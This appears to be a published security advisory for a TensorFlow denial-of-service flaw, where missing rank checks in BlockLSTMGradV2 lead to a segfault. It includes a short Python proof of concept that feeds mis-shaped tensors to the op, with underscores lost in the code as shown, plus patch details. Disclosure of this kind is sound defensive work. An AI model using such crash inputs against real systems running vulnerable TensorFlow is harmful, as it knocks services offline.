PT-2026-59787 · Pypi · Tensorflow

Published

2026-07-13

·

Updated

2026-07-13

CVSS v3.1

5.9

Medium

VectorAV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

Impact

The implementation of BlockLSTMGradV2 does not fully validate its inputs.
  • wci, wcf, wco, b must be rank 1
  • w, cs prev, h prev` must be rank 2
  • x must be rank 3 This results in a a segfault that can be used to trigger a denial of service attack.
python
import tensorflow as tf

use peephole = False
seq len max = tf.constant(1, shape=[], dtype=tf.int64)
x = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
cs prev = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
h prev = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
w = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
wci = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
wcf = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
wco = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
b = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
i = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
cs = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
f = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
o = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
ci = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
co = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
h = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
cs grad = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
h grad = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
tf.raw ops.BlockLSTMGradV2(seq len max=seq len max, x=x, cs prev=cs prev, h prev=h prev, w=w, wci=wci, wcf=wcf, wco=wco, b=b, i=i, cs=cs, f=f, o=o, ci=ci, co=co, h=h, cs grad=cs grad, h grad=h grad, use peephole=use peephole)

Patches

We have patched the issue in GitHub commit 2a458fc4866505be27c62f81474ecb2b870498fa.
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.

Fix

Found an issue in the description? Have something to add? Feel free to write us 👾

Related Identifiers

PYSEC-2026-3170

Affected Products

Tensorflow